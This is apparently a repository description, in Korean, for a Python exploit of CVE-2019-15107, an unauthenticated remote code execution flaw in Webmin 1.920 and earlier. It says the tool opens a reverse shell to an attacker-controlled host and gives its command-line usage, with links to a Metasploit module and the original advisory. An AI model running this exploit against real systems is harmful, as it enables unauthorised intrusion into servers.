ketlerd/cve-2019-15107Webmin <= 1.920에서 인증되지 않은 원격 코드 실행을 대상으로 하는 CVE-2019-15107용 Python 익스플로잇입니다. 공격자가 제어하는 호스트에 리버스 셸을 제공합니다.
CVE-2019-15107 webmin <= webmin 1.920의 인증되지 않은 RCE를 위한 익스플로잇을 Python으로 구현했습니다.
다음과 같이 실행할 수 있습니다
python exploit.py <host to attack> <port to nc to> <local ip>
Metasploit 모듈을 기반으로 함 (https://www.exploit-db.com/exploits/47230)
원본 권고: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html